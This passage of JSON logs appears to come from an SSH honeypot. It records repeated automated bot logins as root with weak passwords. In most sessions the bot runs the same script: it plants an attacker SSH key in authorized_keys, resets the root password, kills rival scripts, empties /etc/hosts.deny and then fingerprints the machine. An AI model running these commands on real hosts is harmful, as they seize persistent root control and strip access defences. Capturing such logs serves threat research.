secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:11:22.002056+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:11:22.347349+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:11:22.685618+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:11:23.563818+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:11:23.899299+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:11:25.262511+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:11:25.595261+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:11:25.883453+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:11:26.213783+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:11:27.031902+00:00","kind":"output","latency_ms":null,"data":" 05:11:27 up 7 days, 2:01, 0 user, load average: 0.26, 0.27, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:11:27.363598+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:11:27.639177+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:11:27.971332+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:11:28.572065+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:11:28.903992+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:11:29.434054+00:00","kind":"output","latency_ms":null,"data":"top - 05:11:29 up 7 days, 2:01, 0 user, load average: 0.26, 0.27, 0.18\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:11:29.764248+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:11:30.359380+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:11:30.697135+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:11:31.288040+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:11:31.618530+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:11:32.029188+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T05:11:32.360702+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:11:33.152119+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:11:33.480669+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:11:34.873503+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Ky123456","method":"password","accepted":true,"tier":"other"}]} {"id":"f2b037a4-f809-48ec-ab8c-f4dae8862aae","name":"primal-earnest-nuthatch","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":33842,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":326,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:07:34.182813+00:00","ended_at":"2026-08-27T05:07:35.239789+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:07:16.312748+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:07:16.645272+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:07:19.628391+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:07:20.271003+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:07:20.601353+00:00","kind":"input","latency_ms":null,"data":"echo \"root:B70hnRlrkP9Z\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:07:20.922480+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:07:21.244369+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:07:21.843126+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:07:22.168191+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:07:23.570675+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:07:23.897513+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:07:24.837828+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:07:25.164554+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:07:25.523062+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:07:25.849730+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:07:26.744478+00:00","kind":"output","latency_ms":null,"data":" 05:07:26 up 7 days, 1:57, 0 user, load average: 0.22, 0.29, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:07:27.072897+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:07:27.552137+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:07:27.878468+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:07:28.514594+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:07:28.839951+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:07:29.398767+00:00","kind":"output","latency_ms":null,"data":"top - 05:07:29 up 7 days, 1:57, 0 user, load average: 0.22, 0.29, 0.26\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:07:29.724242+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:07:30.220230+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:07:30.545826+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:07:31.263232+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:07:31.586917+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:07:32.260017+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T05:07:32.588804+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:07:33.858942+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:07:34.183595+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:07:35.141029+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Mouse2025","method":"password","accepted":true,"tier":"other"}]} {"id":"99818851-7ea4-4d62-913b-65273d776767","name":"barren-airy-dolphin","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":42160,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":325,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:47:24.670832+00:00","ended_at":"2026-08-27T04:47:26.373253+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T04:47:06.168694+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:47:06.487632+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:47:10.404145+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:47:10.780741+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:47:11.099955+00:00","kind":"input","latency_ms":null,"data":"echo \"root:nsXKEQLJ6aVI\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T04:47:11.422240+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T04:47:11.741245+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:47:12.383234+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:47:12.706751+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:47:13.850243+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:47:14.175734+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:47:15.371293+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:47:15.706092+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:47:16.517742+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:47:16.842857+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:47:17.693091+00:00","kind":"output","latency_ms":null,"data":" 04:47:17 up 7 days, 1:37, 0 user, load average: 0.1, 0.12, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:47:18.016157+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:47:18.805219+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:47:19.130775+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:47:19.406605+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:47:19.729999+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:47:20.265160+00:00","kind":"output","latency_ms":null,"data":"top - 04:47:20 up 7 days, 1:37, 0 user, load average: 0.1, 0.12, 0.07\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:47:20.592947+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:47:21.458352+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:47:21.780925+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:47:22.047017+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:47:22.371223+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:47:23.169150+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T04:47:23.493761+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:47:24.348460+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:47:24.672555+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:47:26.274796+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"362514","method":"password","accepted":true,"tier":"other"}]} {"id":"8d1d44ba-d548-40c2-9bff-c2694f2ca2bd","name":"dapper-windswept-nuthatch","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":43532,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":311,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:45:24.577959+00:00","ended_at":"2026-08-27T04:45:25.818090+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-27T04:45:07.442117+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:45:07.747699+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:45:11.035791+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:45:11.451910+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:45:11.761100+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ti2OKAs826EE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T04:45:12.070304+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T04:45:12.378234+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:45:13.018770+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:45:13.331172+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:45:14.290668+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:45:14.605097+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:45:15.545368+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:45:15.860315+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:45:16.424951+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:45:16.736252+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:45:17.023923+00:00","kind":"output","latency_ms":null,"data":" 04:45:17 up 7 days, 1:35, 0 user, load average: 0.14, 0.16, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:45:17.334758+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:45:17.704185+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:45:18.013457+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:45:18.769438+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:45:19.078929+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:45:19.828174+00:00","kind":"output","latency_ms":null,"data":"top - 04:45:19 up 7 days, 1:35, 0 user, load average: 0.14, 0.16, 0.09\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:45:20.135003+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:45:20.555170+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:45:20.865133+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:45:21.578848+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:45:21.898877+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:45:22.576946+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T04:45:22.895333+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:45:24.266598+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:45:24.579718+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:45:25.723709+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"1234Qwer!","method":"password","accepted":true,"tier":"other"}]} {"id":"ae3bef40-401d-4101-a77c-049085b2d196","name":"emerald-shifting-agouti","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":48990,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":314,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:41:26.191133+00:00","ended_at":"2026-08-27T04:41:27.762207+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2227,"events":[{"seq":1,"at":"2026-08-27T04:41:06.848295+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:41:07.161892+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:41:11.810839+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:41:12.329597+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:41:12.654565+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Ywqzbkr9b8W5\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T04:41:12.964572+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T04:41:13.275604+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:41:13.550870+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:41:13.866521+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:41:15.231289+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:41:15.545827+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:41:16.517415+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:41:16.838835+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:41:17.706309+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:41:18.026386+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:41:18.822781+00:00","kind":"output","latency_ms":null,"data":" 04:41:18 up 7 days, 1:31, 0 user, load average: 0.06, 0.05, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:41:19.136052+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:41:19.620898+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:41:19.934190+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:41:20.461221+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:41:20.775431+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:41:21.271230+00:00","kind":"output","latency_ms":null,"data":"top - 04:41:21 up 7 days, 1:31, 0 user, load average: 